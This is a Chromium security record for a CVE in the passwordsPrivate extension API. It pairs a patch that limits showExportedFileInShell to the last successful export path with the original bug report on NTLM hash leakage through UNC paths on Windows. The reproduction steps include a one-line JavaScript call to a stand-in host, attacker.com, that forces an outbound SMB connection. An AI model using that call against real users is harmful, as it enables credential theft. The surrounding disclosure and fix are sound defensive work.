CVE-2026-13829
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifchrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.cc |
modified |
Files Changed
chrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.ccchrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.h
Patch
From 678d2348b0371ec748b1fcadc4a07711e79a5dff Mon Sep 17 00:00:00 2001
From: Andrii Natiahlyi <natiahlyi@google.com>
Date: Tue, 26 May 2026 10:41:27 -0700
Subject: [PATCH] Restrict showing exported password folder to the last successful export.
Fixed: 513490996
Change-Id: Ifd5159007b9dbfad6a5437744ce8e529929188ef
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7875566
Auto-Submit: Andrii Natiahlyi <natiahlyi@google.com>
Reviewed-by: Viktor Semeniuk <vsemeniuk@google.com>
Commit-Queue: Viktor Semeniuk <vsemeniuk@google.com>
Cr-Commit-Position: refs/heads/main@{#1636297}
---
diff --git a/chrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.cc b/chrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.cc
index 2f1f3357..1ccdb3c 100644
--- a/chrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.cc
+++ b/chrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.cc
@@ -983,12 +983,11 @@
BrowserWindowInterface* browser =
GlobalBrowserCollection::GetInstance()->FindBrowserWithTab(web_contents);
DCHECK(browser);
-#if !BUILDFLAG(IS_WIN)
- base::FilePath path(file_path);
-#else
- base::FilePath path(base::UTF8ToWide(file_path));
-#endif
- platform_util::ShowItemInFolder(browser->GetProfile(), path);
+ // TODO(b/516745102): Move this logic to PasswordExportController after
+ // splitting PasswordManagerPorter.
+ if (!last_exported_path_.empty()) {
+ platform_util::ShowItemInFolder(browser->GetProfile(), last_exported_path_);
+ }
}
void PasswordsPrivateDelegateImpl::ChangePasswordManagerPin(
@@ -1144,6 +1143,14 @@
void PasswordsPrivateDelegateImpl::OnPasswordsExportProgress(
const password_manager::PasswordExportInfo& progress) {
+ if (progress.status == password_manager::ExportProgressStatus::kSucceeded) {
+#if !BUILDFLAG(IS_WIN)
+ last_exported_path_ = base::FilePath(progress.file_path);
+#else
+ last_exported_path_ = base::FilePath(base::UTF8ToWide(progress.file_path));
+#endif
+ }
+
PasswordsPrivateEventRouter* router =
PasswordsPrivateEventRouterFactory::GetForProfile(profile_);
if (router) {
diff --git a/chrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.h b/chrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.h
index e7b3f9b69..532ffbd 100644
--- a/chrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.h
+++ b/chrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.h
@@ -13,6 +13,7 @@
#include <utility>
#include <vector>
+#include "base/files/file_path.h"
#include "base/functional/callback.h"
#include "base/memory/raw_ptr.h"
#include "base/memory/weak_ptr.h"
@@ -300,6 +301,8 @@
// Used to control the export and import flows.
std::unique_ptr<PasswordManagerPorterInterface> password_manager_porter_;
+ base::FilePath last_exported_path_;
+
PasswordAccessAuthTimeoutHandler auth_timeout_handler_;
PasswordCheckDelegate password_check_delegate_;
Original Bug Report
NTLM hash leak via unvalidated path in passwordsPrivate.showExportedFileInShell
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: The passwordsPrivate.showExportedFileInShell API incorrectly trusts a file path provided by the renderer process, passing it directly to the browser’s platform utilities. On Windows, this allows a compromised WebUI renderer to trigger outbound SMB connections, leading to NTLM credential leakage. The issue stems from a lack of validation of the file_path argument in the browser process.
Affected files:
chrome/browser/extensions/api/passwords_private/passwords_private_api.ccchrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.ccchrome/common/extensions/api/passwords_private.idlchrome/browser/platform_util_win.cccomponents/password_manager/core/browser/export/password_manager_exporter.cc
Estimated timestamp from git blame: 2023-02-13
Summary
A potential vulnerability in the passwordsPrivate.showExportedFileInShell extension API allows a compromised WebUI renderer (such as chrome://settings or chrome://password-manager) to force the browser process to access arbitrary file paths. On Windows, this can be exploited to leak the user’s NTLM hashes by providing a remote UNC path.
Root Cause Analysis
The passwordsPrivate.showExportedFileInShell API is designed to open the file manager and select a previously exported password file. However, the implementation relies on the renderer to provide the file path, which the browser process then uses without verification.
In chrome/browser/extensions/api/passwords_private/passwords_private_api.cc, the Run() method extracts the file_path from the renderer-supplied arguments:
ResponseAction PasswordsPrivateShowExportedFileInShellFunction::Run() {
// ...
auto parameters =
api::passwords_private::ShowExportedFileInShell::Params::Create(args());
EXTENSION_FUNCTION_VALIDATE(parameters);
GetDelegate(browser_context())
->ShowExportedFileInShell(GetSenderWebContents(), parameters->file_path);
return RespondNow(NoArguments());
}
The file_path is passed to the delegate implementation in chrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.cc, which calls platform_util::ShowItemInFolder:
void PasswordsPrivateDelegateImpl::ShowExportedFileInShell(
content::WebContents* web_contents,
std::string file_path) {
// ...
#if !BUILDFLAG(IS_WIN)
base::FilePath path(file_path);
#else
base::FilePath path(base::UTF8ToWide(file_path));
#endif
platform_util::ShowItemInFolder(browser->GetProfile(), path);
}
On Windows, platform_util::ShowItemInFolder (in chrome/browser/platform_util_win.cc) uses IShellFolder::ParseDisplayName on the provided path. If an attacker provides a UNC path (e.g., \\attacker-server\share\file.txt), the Windows Shell will attempt to resolve the path by initiating an outbound SMB connection to the remote server.
Potential Impact
- NTLM Credential Leakage (Windows): By forcing an SMB connection to an attacker-controlled server, the attacker can capture the user’s NetNTLMv2 hash. This can be done silently in the background without user interaction, as the API does not enforce a user gesture check in the browser process.
- Shell Extension Execution (Windows): Forcing Explorer to select a file on a remote share may trigger the loading of shell extensions (like icon handlers), potentially leading to code execution within the
explorer.exeprocess (Medium integrity). - Local Path Disclosure: On other platforms, the API could be used to reveal the existence of files or the contents of directories to an observer by opening the file manager at arbitrary locations.
Suggested Steps to Reproduce (Potential)
- Achieve script execution in a renderer process for
chrome://settings(e.g., via a separate UXSS or WebUI vulnerability). - From the JS console or an injected script, execute:
chrome.passwordsPrivate.showExportedFileInShell("\\\\attacker.com\\share\\test.csv"); - Observe the outbound SMB connection and NTLM negotiation on the attacker-controlled server.
Recommended Fix
The API should be redesigned to remove the file_path parameter. The browser process (specifically the PasswordManagerExporter or the delegate) should maintain the authoritative state of the most recent export destination and use that internal path when the API is invoked, similar to how the downloads.show API operates.
Evaluated with Chrome root at commit: 1a8d40fc44df2088d5945c0bf53584038aa1614a
Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:
- If you are familiar with the severity guidelines, you may adjust the severity.
- If this is a false positive, and there’s no work to be done, please close as WAI.
- If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.
Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.